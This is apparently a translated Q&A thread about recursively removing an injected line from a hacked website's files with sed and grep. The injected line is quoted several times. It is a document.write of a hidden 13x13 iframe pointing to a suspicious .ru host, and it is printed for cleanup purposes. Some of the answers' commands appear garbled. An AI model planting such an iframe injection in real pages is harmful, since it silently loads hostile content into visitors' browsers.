Sed encontrar / excluir para uma string com vários caracteres especiais recursivamente

0

Estou tendo um pouco de dificuldade com uma string complexa. O site de um amigo foi invadido e, desde então, foi bloqueado, mas estou ajudando a limpar a sobra da sobra e o que preciso fazer é o seguinte:

Entre recursivamente em todos os diretórios e, se houver a seguinte string no final do arquivo, exclua a string.

;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8"scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');

Como você pode ver, a string contém aspas simples e duplas e vários outros caracteres especiais. Eu tentei colocar um \ escape antes de cada caractere especial, mas isso não parece funcionar. Eu tentei isso:

grep -rl efficienttrue.ru . | xargs sed -i "s/\;document\.write\(\'\<iframe\ src\=\"http\:\/\/efficienttrue\.ru\/upwherehandpainted\.cgi\?8\"\ scrolling\=\"auto\"\ frameborder\=\"no\"\ align\=\"center\"\ height\=\"13\"\ width\=\"13\"\>\<\/iframe\>\'\)\;/\/g"

mas recebo o seguinte erro:

sed: -e expression #1, char 201: unterminated 's' command
    
por Ian Swope 13.11.2012 / 19:00

3 respostas

1

Parece que você está procurando algo assim:

sed '${s/document\.write([^)]*);//}'

No entanto, eu realmente recomendaria contra esse tipo de procedimento para a restauração de um compromisso.

    
por 13.11.2012 / 19:09
0

Sim, restaurar a partir do backup é melhor. Mas quanto ao sed:

sed -i '.bak' -e '$ {\!^;document\.write('\''<iframe src="http://efficienttrue\.ru/upwherehandpainted\.cgi?8"scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'\'');$! d; }' FILENAME

Eu testei e funciona corretamente, independentemente de FILENAME ter um \n à direita. No entanto, espera-se que a linha a ser excluída sempre seja a última linha (esse é o ponto do $ { ... } .

    
por 13.11.2012 / 20:52
0

Sim, um backup é melhor. No entanto, se você insistir na substituição e quiser evitar confusão com fugas, aqui está uma solução genérica.

  1. Salve a string incorreta em um arquivo e verifique se nenhum caractere extra, como o prefixo da lista de materiais UTF ou os finais de linha, foi anexado

    xxd spec-chars.sample
    
  2. Converta a string em uma sequência de bytes com escape

    od -t x1 -v -A n spec-chars.sample | sed s/\ /\\x/g | tr -d \n && echo
    
  3. Crie um par de casos de teste

    cat spec-chars-positive 
      asdfasdfsd
      ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8"scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
    
    cat spec-chars-negative
      asdfasdfsd
      ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8"scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
      qwer
    
  4. Verifique se o código funciona conforme o esperado

    grep -l efficienttrue spec-chars-* | xargs sed \$s/'od -t x1 -v -A n spec-chars.sample | sed s/\ /\\x/g | tr -d \n'//
    
  5. Execute um substituto real

    grep -rl efficienttrue.ru . | xargs sed -ibak --follow-symlinks \$s/'od -t x1 -v -A n spec-chars.sample | sed s/\ /\\x/g | tr -d \n'//
    
por 24.01.2014 / 18:37